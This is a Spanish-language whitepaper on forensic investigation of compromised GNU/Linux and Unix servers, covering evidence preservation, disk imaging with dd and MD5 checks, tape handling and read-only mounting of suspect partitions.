Análisis Forense de Sistemas GNU/Linux, Unix

David Dittrich

dittrich@cac.washington.edu
Ervin Sarkisov

ervin.sarkisov@hispalinux.es

Miles servidores corporativos están siendo comprometidos diariamente, Gbytes de información privilegiada se transfieren cada día por los los canales de comunicación, las corporaciones informan de miles y millones de pérdidas.

La mayoría de las investigaciones de casos similares, estén realizadas por parte de las empresas especializadas o por parte de las agencias gubernamentales, precisan un estudio forense previo para recoger todas las pruebas encontradas en los equipos y determinar los factores claves para reconstruir los hechos transcurridos, antes, durante y a posteriori del posible acceso no autorizado al sistema. Todo ese trabajo puede ser complicado por múltiples razones, siendo una analogía directa la ciencia forense tradicional en los casos criminales, dónde la escena del crimen es el servidor comprometido y cualquier equivocación o descuido puede causar la pérdida de información vital que podría desvelar algún hecho importante sobre el "la víctima", el "criminal", el "objetivo" o el "móvil".

Los intrusos permanentemente mejoran sus técnicas, sean de acceso, ocultación de pruebas o de eliminación de huellas, siendo difícil, o en algunos casos imposible de reconstruir el 100% de los eventos ocurridos. Los forenses de hace varios años tienen dificultades adaptándose a las nuevas técnicas ya que no solo son necesarios los conocimientos de la materia sino experiencia en campos que tienen bastante poco que ver con la ciencia forense - ingeniería inversa, criptografía, programación en lenguajes de bajo nivel.

Este artículo incluye descripción básica que permitirá al público general conocer el alcance y supuestos de ciencia informática forense, sus técnicas que podrán ser presentadas mejor a partir de un caso práctico de investigación. También estarán cubiertos temas como protección / des-protección de binarios cifrados bajo GNU/Linux, técnicas de realización de copias de seguridad byte por byte, sistemas de ficheros loopback y utilización de la herramienta universal del investigador forense informático TCT.

Tabla de contenidos

1. Introducción

La ciencia forense es metódica y se basa en acciones premeditadas para reunir pruebas y analizarlas. La tecnología, en caso de análisis forense en sistemas informáticos, son aplicaciones que hacen un papel importante en reunir la información y pruebas necesarias. La escena del crimen es el ordenador y la red a la cual éste está conectado.

1.1. Organización del Documento

El documento pretende dar una vista global del trabajo de los analístas forenses en los entornos GNU/Linux y iniciar a los administradores de sistemas en el mundo de ciencia forense informática a través de conceptos teóricos, procedimientos pre-establecidos de tratamiento de información y casos prácticos. El documento también indica la manera de montar un laboratorio forense, el equipo necesario, configuración de hardware y de software.

A lo largo del trayecto trazado por este whitepaper se dará a conocer la problemática de algunos aspectos del análisis como congelación de la escena del crimen, preparación y análisis a través de herramientas comúnes de GNU/Linux y con utilidades específicas como TCT, TASK, etc. Se mencionarán técnicas de duplicación de sistema de ficheros y su montura en loopback y análisis.

Teniendo en cuenta que cada día los intrusos utilizan técnicas más y más avanzadas de protección de sus herramientas, también cubriremos el tema de ocultación de propósito de los binarios ELF a través de cifrado y ofuscación con Burneye y/o otras utilidades.

1.2. Objetivos

El objetivo de un análisis forense informático es realizar un proceso de búsqueda detallada para reconstruir a través de todos los medios el log de acontecimientos que tuvieron lugar desde el momento cuando el sistema estuvo en su estado integro hasta el momento de detección de un acceso no autorizado.

Esa tarea debe ser llevada acabo con máxima cautela, asegurándose que se conserva intacta, a la mayor medida posible, la información contenida en el disco de un sistema comprometido, de forma similar que los investigadores policiales intentan mantener la escena del crimen intacta, hasta que se recogen todas las pruebas posibles.

El trabajo de un investigador forense es necesario para ofrecer un punto de partida fundamental para los investigadores policiales, ofreciéndoles pistas sólidas, así como pruebas para su uso posterior.

1.3. Alcance y Supuestos

Cada uno de los incidentes es único, por lo tanto, la involucraron de un investigador forense externo es diferente en cada caso. Algunas veces el trabajo puede estar limitado a colaborar con las agencias del gobierno como Departamento de Delitos Telemáticos de Guardia Civil y/o Brigada Investigación Tecnológica, proporcionándoles el equipo íntegro para que sea analizado en sus instalaciones y por sus expertos.

Otras veces será necesario previamente realizar una recolección de información del sistema informático: analizar ficheros log, estudiar el sistema de ficheros (FS) del equipo comprometido y reconstruir la secuencia de eventos para tener una imagen clara y global del incidente.

El análisis termina cuando el forense tiene conocimiento de como se produjo el compromiso (1), bajo que circunstancias (2), la identidad de posible/s atacador/es (3), su procedencia y origen (4), fechas de compromiso (5), objetivos del/los atacador/es (6) así como, cuando ha sido reconstruida completamente la secuencia temporal de los eventos (7).

Cuando un investigador forense empieza el análisis de la situación nunca sabe con lo que va a enfrentarse. Al principio puede ser que no encuentre a simple vista ninguna huella ni prueba de que el equipo ha sido violado, especialmente si hay un "rootkit" [1] instalado en la máquina. Puede encontrar procesos extraños ejecutándose con puertos abiertos. También es frecuente que vea una partición ocupada 100% de su capacidad, pero cuando la verifica a través de du, el sistema muestra otro porcentaje de ocupación. Puede encontrar una saturación de tráfico de red desde un host específico. Es posible encontrar aplicaciones que están consumiendo un porcentaje elevado de del CPU pero no haya ningún indicio de un programa con ese nombre en el sistema de ficheros.

Los pasos para empezar la investigación de un incidente son diferentes en cada caso. El investigador debe tomar decisiones basándose en su experiencia y el "sexto sentido" para llegar al fondo del asunto. No es necesario seguir pasos determinados, ni su orden es importante a veces.

Puede que algunos pasos básicos sean más de lo que hace falta y también puede ser que estos sean insuficientes para solucionar el problema. Los pasos básicos pueden concluir en localizar todas las huellas y eventos que se produjeron.

Y en supuestos los pasos básicos no han desvelado la situación, se debe recurrir a llevar acabo un análisis profundo o de-compilación de las aplicaciones encontradas durante la búsqueda. Estas aplicaciones pueden ser escritas totalmente desde cero y protegidas, pero en la mayoría de los casos son aplicaciones utilizadas de forma común, que circulan por la red, estén o no estén protegidas. Cuando hablamos de protección de ficheros podemos hablar sobre técnicas de confusión, ofuscación y compresión (Ver apéndice A para detalles).

1.4. Indicaciones

En vez de utilizar "a rajatabla" el orden de los procedimientos que fueron establecidos por otros analistas forenses, se debe considerarlos como recursos y el orden necesario en cada caso puede variar. Una vez aprendidas técnicas generales, se podrá combinarlos con la experiencia y crear sus propios trucos en un futuro. Es como ser un cocinero que utiliza el libro de recetas para preparar sus platos, y con experiencia modifica las recetas para obtener un plato único.

La persona que ha descubierto el incidente debe asegurarse que hay máxima información intacta posible para que el investigador forense pueda realizar su trabajo con éxito, ya que la información encontrada dentro del sistema registra la historia real de lo que ha sucedido.

Hay solo una única cosa que es común para cada investigación forense, y no es suficiente repetirla siempre. Se debe tener a mano un cuaderno y un bolígrafo para apuntar inmediatamente todos los pasos que efectúa durante el proceso de investigación. También se debe recordar (y apuntar) que los pasos para preservar y reunir las evidencias deben ser efectuadas con lentitud, precaución, metódica y pensándolo dos veces antes de hacer cualquier cosa ya que cualquier error puede llevar consigo consecuencias como pérdida de pruebas.

Tener el cuaderno con las notas a mano puede ser necesario para refrescar la memoria varios meses después de la investigación cuando llegue la hora de testificar en una sala de juicio (si el caso llega a estos extremos).

Las notas también ayudarán a calcular de forma más precisa las pérdidas sufridas por la empresa, evitando estimaciones exageradas que suelen producirse durante los casos criminales por parte de empresas afectadas, abogados e otros terceros.

1.5. Equipo Necesario

Aunque existan distribuciones de Linux que incorporan directamente utilidades forenses en su instalación, se utilizó la distro que no las incorporaba ya que la instalación de estas herramientas por defecto a veces causa problemas. Mientras que si se utiliza cualquier distro como RedHat, Debian el analista puede configurar el software según sus preferencias.

Referente a las técnicas de análisis forense descritas a continuación asumo que utiliza un sistema operativo RedHat Linux i386 sobre cualquier placa madre compatible con Intel. Estas técnicas son casi idénticas para cualquiera de las versiones o distribuciones de GNU/Linux ó Unix, pero algunas características de i386 pueden variar de un servidor a otro (ejemplo: utilización de controladores IDE, limitaciones de PC BIOS, etc...). Consulte manuales de administración y seguridad de sistema de su distribución de GNU/Linux.

Equipo Principal - Es preciso tener un sistema dedicado, propio para poder hacer el análisis, sin tener interrupciones por procesos de otros usuarios ni estar vulnerable a los "ataques de limpieza" [2]. Un ejemplo de configuración de un laboratorio forense puede ser siguiente:

- Un equipo con una placa compatible i386 con 2 tarjetas controladoras IDE.
- Por lo menos 2 discos duros > 8Gb. sobre el controlador IDE principal (para almacenar el sistema operativo y herramientas, más espacio para poder copiar las particiones salvadas desde la cinta, y espacio adicional para recuperar la información borrada desde discos duros).
- Un segundo controlador IDE sin utilizar. Eso significa que no deberá mezclarse con modificación de configuraciones de hardware de los discos. Simplemente enchufelos y aparecerán como /dev/hdc (master) ó /dev/hdd (slave).
- Tarjeta de interfaz SCSI (e.g., Adaptec 1542)
- Dispositivos de cinta DDS-3 ó DDS-4 4mm (se necesita bastante capacidad para almacenar información de las particiones grandes.).
- Si el sistema está conectado a una red, deberá ser perfectamente parcheado y no tener ningún servicio de red funcionando salvo SSH (para acceso remoto y transferencia de ficheros). RedHat Linux 7.3 con Bastille Linux 2.0 BETA es muy buena opción (Combinación utilizada en el lab de Activa Link).

Equipo Móvil - Otro sistema de análisis es un nuevo portátil. El buen método de llevar el laboratorio hasta el sistema accidentado es un portátil con tarjeta eth 10/100, disco duro de más de 18-20 Gb - suficiente espacio que permitirá almacenar toda la información de imágenes del sistema de ficheros (estas imágenes deberían luego almacenarse en cintas) para ser analizadas, visualizar los resultados, craquear las contraseñas crypt() del intruso que puede posiblemente encontrar, y una mochila.

Un cable 10Base-T normal y uno cruzado permitirá conectarse con un hub, switch, o directamente al "cadáver" y todavía utilizar la red para comunicarse con el sistema víctima sobre una mini-red aislada de 2 estaciones de trabajo. Para ello necesitará establecer una ruta estática en la tabla de rutas, o configurar reglas de bridging (será más fácil si se desconecta la máquina hackeada del resto de la red).

Un equipo de análisis, funcionando bajo GNU/Linux será suficiente para analizar sistemas de ficheros diferentes pero soportados como por ejemplo Sun UFS. Se podrá simplemente montar el sistema de fichero emitiendo el comando mount con la opción particular (ver página man del mount).

Ejemplo:

```
[root@quest.activalink.com]# mount -r -t ufs -o ufstype=sun /dev/hdd2 /mnt
```

Otra ventaja de GNU/Linux para investigadores forenses es la capacidad del interfaz "loopback", que permite montar un fichero que contiene una imagen del disco (obtenida con dd) dentro del sistema de ficheros de la estación de análisis (Ver el apéndice B para detalles).

2. Objetivos Tácticos/Estratégicos

El objetivo principal de un investigador forense es identificar a todos los sistemas controlados por el intruso, comprender los métodos utilizados para acceder a estos sistemas, los objetivos del intruso y la actividad que ha desempeñado durante su estancia dentro del sistema comprometido. La información obtenida tiene que ser compartida con el resto de los miembros del equipo forense, a fin de evitar la pérdida de información. También es el objetivo del investigador la protección del estado de sitio contra modificaciones para evitar pérdidas de información (pruebas).

Posible persecución - es un objetivo secundario, pero como he dicho anteriormente, para un investigador forense su trabajo primario es preservar lo más íntegramente posible las evidencias del crimen en un estado íntegro. Eso significa poner el sistema fuera de servicio cuando todo el mundo está presionando para volver a ponerlo on-line.

Si el sistema, por parte del administrador, fue forzado a seguir funcionando, eliminando las posibles vulnerabilidades o cualquier otra supuesta vía de acceso al servidor, la investigación forense no podrá seguir el rumbo correcto ya que:

1. Se eliminaría cualquier posibilidad de persecución del intruso en un futuro ya que se modifica la "escena del crimen" y no se podría calcular los daños estimados con un grado elevado de certeza.

2. Hay muchas posibilidades de que se le paso algo importante por alto al administrador y el intruso (o intrusos) siguen teniendo acceso al sistema. Por lo tanto es mejor sufrir un "downtime" de red, mientras que se realiza el análisis forense del sistema.

Se tiene que establecer una prioridad entre:

1. Funcionamiento inmediato, teniendo presente que las huellas dejadas por el/los intruso/s pueden haberse eliminado por descuido del administrador y su equipo, y que el servidor puede seguir teniendo puertas traseras bien ocultas. Esta opción permite estar operativo en poco tiempo.

2. Investigación forense detallada que permite conseguir los objetivos mencionados en la sección 1a del capítulo Introducción, asegurarse 100% de que el equipo está seguro y recoger pruebas suficientes para poder iniciar el trámite legal. Esta opción supone un mayor tiempo de permanencia off-line si no existen planes de contingencia y procedimientos para la recuperación del servicio.

Asumiendo que el análisis es una prioridad, ¿cuáles son los siguientes pasos?

3. Congelación de la Escena del Crimen

Una vez que el Administrador del sistema tenga sospechas de que su sistema haya sido violado, y que no existan pruebas que indiquen lo contrario como por ejemplo resultados de chequeos de integridad realizados por por alguna herramienta como Tripwire o AIDE (Advanced Intrusion Detection Environment), tiene que considerar que efectivamente el sistema ha sido violado. Desde aquél momento, es necesario tener máximo cuidado para evitar que se produzca cualquier alteración de la "escena del crimen".

Hay varios tipos de pruebas que oculta el sistema, con diferentes niveles de volatilidad, en lugares como registros del procesador, estructura de datos en la memoria, swap, estructuras de datos de red, contadores, procesos de usuario en memoria y stacks, cache del file system, el file system y etc.

Será muy difícil o casi imposible de reunir toda esa información en el preciso momento que el intruso está operando, por lo tanto necesitamos prescindir de ella y reunir aquella información, que se recoge con mayor facilidad antes de llegada de un especialista forense que determinará el método de entrada, actividad de intrusos, identidad y origen de intrusos, duración de compromiso, posiblemente lo bastante para localizarles). En otras palabras ¿Cómo? ¿Qué? ¿Quién? ¿De dónde? ¿Cuando?

La opción más fácil es de evitar que las cosas no cambien - cerrar el sistema o suspender su funcionamiento.

Normalmente los sistemas Unix se cierran con el comando shutdown. Eso se hace para asegurarse que todos los servicios han finalizado de forma limpia, todos los ficheros cache y buffers de sistemas están flusheados y los usuarios están notificados. Este procedimiento es perfecto para sistemas intactos, pero en un sistema afectado, esa acción, lo más seguro que borre alguna información de interés. Hubo casos cuando los intrusos programaban sistemas para

eliminar algunos ficheros en la máquina cuando el interfaz de red se deshabilitase (es decir, cuando el cable de conexión haya sido desconectado) o cuando el procedimiento de un shutdown normal haya sido activado.

Para prevenir esas modificaciones del sistema de ficheros es mejor sacar el cable de electricidad del enchufe (Sí, sí, lo has leído bien). Hay que estar informados que puede ser que alguna información en la memoria o información del cache no guardada en el disco puede ser eliminada como estado de red, procesos ejecutándose en la memoria, accesos a memoria kernel, contenido de registros swap, etc.

Para ello antes de sacar el cable del enchufe puede hacer lo siguiente; ejecutar varios comandos antes de apagar de forma "bruta" el sistema. Se debe hacerlo en una sesión script (ver man del comando script).

Importante: Si el administrador no está seguro de lo que está haciendo, se debe simplemente desenchufar el sistema y ponerse en contacto con un investigador forense especializado, ya que las pruebas pueden ser dañadas con mucha facilidad.

En caso de que el administrador esté seguro de si mismo puede utilizar algunas de las herramientas que vienen a continuación, siempre con cuidado.

- last, w, who - Obtener el listado de usuarios actuales en el sistema, logins anteriores, etc.
- ls - Obtener el listado largo (ls -lat) de ficheros en lugares sospechosos, los home directories, directorio /dev, directorio /root, etc.
- ps - Obtener el listado largo de todos los procesos incluidos aquellos sin ttys (e.g., ps auxwww y ps elfwww -- añadir más flags w si el listado se acorta).
- lsof - Obtener un listado completo de descriptores de ficheros, que puede mostrar algunos backdoors, sniffers, eggdrop IRC bots, redireccionadores de puertos para VNC, etc.(Ojo con cwd, cual es el directorio local en el cual el programa ha sido ejecutado.)
- find - Identificar todos ficheros corrientes, directorios modificados desde la fecha de último acceso no autorizado, o que pertenecen al usuario desde cuya cuenta se sospecha que fue originado el ataque.

  Importante: La utilidad "find" modifica el i-node "last accessed" con el timestamp actual, entonces no debe utilizar esta utilidad para barrer el sistema de ficheros, si todavía quiere saber cuales son los ficheros accedidos por el atacante si el sistema de ficheros está montado en modo lectura y escritura.
- ltrace, strace, truss (SunOS 5) - Ver últimos accesos a ficheros de configuración de "rootkit", ejemplo: Examinar el fichero /bin/ls trucado.

Ejemplo:

```
 [sonne@thor.activalink.com]# truss -t open ./ls
      open("/dev/zero", O_RDONLY)                       = 3
      open("/usr/lib/libc.so.1", O_RDONLY)             = 4
      open("/usr/lib/libdl.so.1", O_RDONLY)            = 4
      open("/usr/platform/SUNW,Sun_4_75/lib/libc_psr.so.1", O_RDONLY) Err#2 ENOENT
 ---> open("/dev/ptyr", O_RDONLY)                      Err#2 ENOENT
      open(".", O_RDONLY|O_NDELAY)              = 3
      [list of files]
```

Ver páginas man de cada una de las utilidades para conocer sus funciones.

4. Problemas con Recolección de Información

Un sistema informático no sólo puede ser instruido para auto-destruirse una vez se produzcan las condiciones de riesgo consideradas por el intruso, sino también realizar tareas programadas de eliminación, sustitución de ficheros y ejecuciones de aplicaciones determinadas.

Es muy frecuente encontrar los comandos de sistema, módulos de kernel cargables (LKM), librerías dinámicas y etc modificados o reemplazados por la voluntad del intruso. Bajo estas circunstancias eso puede obligar a que el sistema operativo "mintiese". Examinando en este caso el estado del servidor, todo aparenta estar en orden, pero en realidad el sistema está totalmente manipulado con cuatro, cinco... diez diferentes "back-doors" para permitir al hacker el fácil acceso al servidor en un futuro, teniendo instalado un "root kit" [10].

Si no hay seguridad de que las utilidades comunes estén mostrando la verdadera situación, se debe utilizar aplicaciones alternativas. Los módulos de kernel cargables (LKM) o librerías dinámicas, pueden estar alteradas para proporcionar información falsa. En estos casos se debe utilizar binarios compilados de forma estática desde un toolkit como Fire Biatchux o descargados de la web de incident-responce.org.

Se debe cuestionar permanentemente la información que el servidor está proporcionando. Sería aconsejable y mucho más fácil y seguro si simplemente el disco duro fuese extraído de la máquina afectada y fuese montado en modo sólo lectura en una estación de análisis similar al servidor atacado.

Se debe también considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ninguna aplicación desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio /dev. Es muy aconsejable estudiar bien la página man de la utilidad mount.

Ejemplo:

```
# mount -o ro,noexec,nodev /dev/hda1 /t
```

Si no disponemos de un equipo dedicado para el análisis, ni decidimos llevarlo por la vía oficial, pero tenemos el interés de conocer los detalles del ataque y el equipo tiene un CD-ROM, existen herramientas forenses que permiten el estudio post-mortem "en situ". Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tener de forma instantánea un entorno de análisis seguro, proporcionando copias íntegras de todos los binarios necesarios de GNU/Linux y Solaris para llevar acabo la investigación. La utilización de esa técnica de investigación forense sale del entorno de este documento y será cubierta en los papers futuros.

5. Almacenamiento de Pruebas

Una vez el disco ha sido sacado de la máquina, debe ser almacenado de forma segura para poder ser utilizado como prueba a posteriori en un juicio. Si no se almacena de forma correcta, no será la primera vez que la investigación no pueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminación o tratamiento indebido.

Es necesario tomar notas de lo que se hace con el disco duro, y a que hora, almacenándolo en una ubicación segura como por ejemplo una caja fuerte. Es recomendable que siempre que se trabaje con el medio original esté acompañado por un colega, para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel de conocimientos similar.

Las copias deben ser hechas bit-por-bit, es decir será necesario hacer imágenes del disco. La investigación debe ser llevada sobre una copia y nunca sobre el disco original. Se debe hacer tres copias del disco duro original. Sobre todas las copias y original se debe llevar acabo una verificación criptográfica - un checksum MD5.

Creación de imagenes es un método de hacer copias exactas de particiones de disco duro. La utilidad que nos permite llevarlo acabo es "dd" (ver la página man de la utilidad, y el artículo de Thomas Rude [12]). Utilidades como tar y cpio están bien si la portabilidad es lo más importante, y dump y restore están perfectas para recuperar ficheros individuales en casos de que la consistencia de información es lo más importante.

Por supuesto, éstas utilidades tienen su sitio merecido, pero a lo que se refiere al análisis forense, lo más importante es conservación de información. Las utilidades descritas anteriormente no le permiten conservar el espacio "slack" al final de los ficheros, ni permiten conservar que es lo que exactamente contenían los bloques de los ficheros eliminados. Ya que los intrusos frecuentemente almacenan ficheros en el espacio "slack" de los archivos y borran de forma segura los archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas.

Todas las acciones realizadas durante el análisis deben ser documentadas detenidamente. Es fácil hacerlo, si se utiliza el programa script, el cual toma nota de toda la entrada y salida del shell. Script marca la hora de inicio/fin del log de eventos, y usa el comando date varias veces durante la sesión para guardar los tiempos intermedios.

6. Preparación para el Análisis

Esté analizando el sistema con las herramientas forenses específicas o no, se debe de seguir los mismos pasos básicos siempre para prepararse para el análisis completo del sistema.

- En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo. Eso puede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio. En otros casos será necesario documentar los detalles de todos los componentes del sistema como valores ID de los dispositivos SCSI, por ejemplo y etc.

- Empezar haciendo apuntes detallados en el cuaderno. Tener bien detallados apuntes con la fecha y hora del inicio y fin de cualquier trabajo realizado será muy útil durante y al final del análisis. Es importante que todos los hechos pertinentes al caso durante la preparación, recuperación y análisis de las pruebas sobre un ataque, estén perfectamente documentados. Estas notas servirán como base para poder desarrollar un informe detallado de incidencia que se debe preparar una vez terminado el análisis. Este documento deberá servir como una prueba del incidente o ataque. Siempre que se realiza cualquier apunte al cuaderno, el asistente debe tener un \

```
completo conocimiento y entendimiento de lo que ha sido apuntado.
```

- Antes de apagar el sistema, será útil recoger algunos ejemplos de aquella información que posiblemente no ha sido cambiada por los intrusos, como la organización de sistema de ficheros de /etc/fstab, el nombre del host, su dirección IP del fichero /etc/hosts y información de algunos dispositivos desde los ficheros /var/log/dmesg o ficheros de log de sistema /var/log/messages. Esa información normalmente va a caber en un disco 1.44 de forma comprimida con tar.gz. Si no quiere o no puede extraer esa información en este paso, en los siguientes pasos eso será más difícil.

Ejemplo:

```
# cd /
# tar -cvzf /dev/fd0 etc/hosts etc/fstab var/log/dmesg var/log/messages
etc/hosts
etc/fstab
var/log/dmesg
var/log/messages
```

- ¡Haga 3 imágenes del disco duro entero y trabaje con copias, y no con el original! En el peor caso que tenga que trabajar con el disco original correría el riesgo de hacer una pequeña equivocación que eliminaría las huellas de forma parcial o total. El original debe ser almacenado en una caja fuerte para estar totalmente seguros que el contenido del dispositivo no esté alterado o eliminado. Para ello generaríamos verificaciones de integridad MD5, las imprimiremos en etiquetas y éstas las pegaremos en el original y en las copias. La etiqueta del original debe contener la fecha y hora de extracción del disco del sistema comprometido, y la fecha y hora de almacenamiento del disco en la caja fuerte. Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo). A continuación están detalladas todas estas tareas:

a. El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada después. Se debe tener mucho cuidado para no dañar el disco en caso de conflictos master-slave en el controlador IDE, etc. Es por ello que, insistía anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas; es decir que es muy conveniente tener un único disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM en la segunda interfaz de IDE, se debe quitar de forma temporal).

Puede ser que sea necesario modificar las opciones de detección automática de la geometría de discos en los ajustes BIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error).

b. Las particiones del disco duro deben ser identificadas con el programa fdisk. Nunca se debe utilizar fdisk en modo interactivo, ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programa i386 GNU/Linux, modelado a partir de su equivalente de DOS).

Ejemplo:

```
# fdisk -l /dev/hdd


Disk /dev/hdd: 255 heads, 63 sectors, 1575 cylinders
Units = cylinders of 16065 * 512 bytes


   Device Boot    Start       End    Blocks   Id  System
/dev/hdd1   *         1       869   6980211    b  Win95 FAT32
/dev/hdd2           870      1022   1228972+  83  Linux
/dev/hdd3          1023      1035    104422+  82  Linux swap
/dev/hdd4          1036      1575   4337550   83  Linux
```

A partir de este listado podemos sacar una buena conclusión que la partición /dev/hdd2 era partición root, y /dev/hdd4 era algo parecido a /usr o /home. No puede decir cual de las dos es en este paso, pero se puede ver el fichero salvado /etc/fstab, o alternativamente montarla partición y examinar su contenido.

En caso de que hayamos hecho una imagen de la partición, debemos restaurarla para su estudio posterior.

c. Se generan los checksums de integridad de particiones con MD5 del disco original y sus imágenes para verificar si coinciden.

Nota: Asumimos que tenemos un dispositivo de cinta en /dev/st0 y el dispositivo "non-rewind" está en /dev/nst0. El tamaño del bloque, normalmente 512 bytes, puede que no sea el valor más eficaz para su dispositivo de cintas. Consulte la documentación de su dispositivo y determine el factor óptimo (frecuentemente entre 8198 y 32767).

Los siguientes ejemplos utilizarán el valor por defecto para evitar complicaciones.

El comando mt se utiliza para saltar, volver atrás en un fichero para luego verificar su checksum MD5. Hay que estar seguro que se utiliza dispositivo "non-rewind" ya que a la hora de saltar de una imagen de fichero a otra podríamos sobrescribir información sobre la cinta y perder información. También hay que asegurarse que no hacemos ningún error con parámetros if= y of= - opciones del comando dd ya que podrá destruir información sobre el disco con facilidad. (Ver man mt y man dd, luego practique escribiendo/leyendo múltiples ficheros a/de la cinta antes de hacer cualquier acción con los datos importantes.)

Ejemplo:

```
# date
Mon Jun 19 12:00:22 PDT 2000



# md5sum /dev/hdd2
7b8af7b2224f0497da808414272e7af4  /dev/hdd2



# mt status
SCSI 2 tape drive:
File number=0, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (41010000):
 BOT ONLINE IM_REP_EN



# dd if=/dev/hdd2 of=/dev/nst0
2457944+0 records in
2457944+0 records out
```

```
# mt bsf 1


# dd if=/dev/st0 | md5sum
2457944+0 records in
2457944+0 records out
7b8af7b2224f0497da808414272e7af4  -


# mt status
SCSI 2 tape drive:
File number=1, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (81010000):
EOF ONLINE IM_REP_EN
```

Marque la cinta con una etiqueta que contiene, nombre del sistema violado, particiones y correspondientes MD5, sus iniciales y la fecha.

A la hora de verificar los MD5 del disco y de la/s cintas si al menos un único byte ha sido modificado a la hora de realizar la duplicación o backup, el checksum no coincidirá. Eso puede estar causado por un sector dañado en el disco duro o en la cinta, puede que haya hecho una copia del sistema "vivo" (no montado read-only), o haya hecho la copia de una partición incorrecta.

Intente utilizar otra cinta. Pruebe también regenerar el MD5 checksum del disco/partición. Haga lo que haga no intente re-formatear, analizar, arreglar el disco original ya que todas esas acciones alterarán la información del disco.

Puede ser que necesite servicios de una empresa especializada en recuperación de datos que puede migrar en tiempo real los datos del disco y determinar que sector exactamente está dañado y arreglarlo de forma segura. Ojo, siempre que entrega una cinta/disco a las empresas de recuperación de datos, aseguren la información con una aseguradora por el valor aproximado de daños causados. Si es la cinta o el dispositivo de cinta que está fallando, pues se debe adquirir un dispositivo/cinta nuevo/a ya que no podrá seguir trabajando con hardware estropeado.

d. Si se está guardando más de una partición en la cinta, hay que asegurarse que se utiliza el dispositivo non-rewind para cada partición, entonces se usa mt rewind o simplemente se saca la cinta, lo que causará que se rebobine. Ahora es cuando debe habilitar la protección de escritura de la cinta ya que no queremos que de forma accidental se sobrescriba la información. Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la protección contra escritura está funcionando correctamente utilizando el comando mt. El siguiente ejemplo muestra el estado de una cinta protegida contra escritura, posicionada en el punto BOT y el primer fichero está marcado como #0.

```
# mt status
SCSI 2 tape drive:
File number=0, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (45010000):
 BOT WR_PROT ONLINE IM_REP_EN
```

Mientras que el siguiente ejemplo muestra el estado de una cinta sin protección contra escritura y el fin de 2º fichero en la cinta #1, lo que es también en este caso el fin de la cinta.

```
# mt fsf 1
/dev/tape: Input/output error
```

```
# mt status
SCSI 2 tape drive:
File number=1, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (89010000):
 EOF EOD ONLINE IM_REP_EN
```

e. Monte el sistema de ficheros root, pero no modifíquelo de ninguna manera. Para hacerlo bien hay que montarla de modo solo lectura con opción "-r" o "-o ro". Tenemos que tener en cuenta que la pertenencia de ficheros se contará basándose en el fichero /etc/group del sistema de análisis y no del fichero group del sistema comprometido.

Ejemplo:

```
# mount -r /dev/hdd2 /mnt
```

```
# ls -lat /mnt
total 73
drwxr-x---  17 root     root         1024 May  1 09:01 root
drwxrwxrwt   6 root     root         1024 May  1 04:03 tmp
drwxr-xr-x   8 root     root        34816 Apr 30 04:02 dev
drwxr-xr-x  34 root     root         3072 Apr 29 14:17 etc
drwxr-xr-x   2 root     root         2048 Apr 26 16:52 bin
```

```
drwxr-xr-x   2 root     root         1024 Apr 26 11:12 boot
drwxr-xr-x   3 root     root         3072 Apr 21 04:01 sbin
drwxr-xr-x   4 root     root         3072 Apr 21 03:56 lib
drwxrwxr-x   2 root     root         1024 Mar  3 13:27 cdrom
drwxr-xr-x   2 root     root         1024 Oct  9  1999 home
drwxr-xr-x   2 root     root        12288 Oct  9  1999 lost+found
drwxr-xr-x   4 root     root         1024 Oct  9  1998 mnt
drwxr-xr-x   2 root     root         1024 Oct  9  1999 proc
drwxr-xr-x  20 root     root         1024 Aug  2  1998 usr
drwxr-xr-x  18 root     root         1024 Aug  2  1998 var
```

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa partición es de hecho la partición root ya que contiene directorios "usr", "var", "proc", "bin", "root", "etc", etc... Vemos que el directorio "home" tiene 2 enlaces, y el directorio "usr" tiene 20 enlaces (ya que por las entradas de directorios "." y ".." el número mínimo de enlaces que llevan a un directorio son 2). Todavía no sabemos que es lo que exactamente contiene la partición /dev/hdd4. Parece que posiblemente contiene el contenido del /home y no del /usr ni tampoco /var por las mismas razones.

Por supuesto para salir de dudas podemos examinar el fichero /etc/fstab.

Ejemplo:

```
# less /mnt/etc/fstab
 . . .
/dev/hda1               /dosc               msdos   defaults       0 0
/dev/hda2               /                   ext2    defaults       1 1
/dev/hda4               /home               ext2    defaults       1 2
/dev/hda3               swap                swap    defaults       0 0
/dev/cdrom              /cdrom              iso9660 noauto,user,ro 0 0
/dev/fd0                /floppy             ext2    noauto,user,rw 0 0
none                    /proc               proc    defaults       0 0
none                    /dev/pts            devpts  mode=0622      0 0
```

Cabe tomar nota aquí que utilizamos el paginador less. Es para prevenir potencialmente insertados caracteres especiales que pueden modificar los ajustes del terminal en tty, si eso pasa el terminal es inutilizable para nosotros ya que no podemos ni leer ni escribir de forma legible. Si estuvo utilizando el programa script para logear la sesión, tendrá que salir y resetear el terminal, posiblemente olvidando de script y olvidando de los records anteriores. De todas maneras antes de salir intentaremos Ctrl+D para cerrar la sesión script.

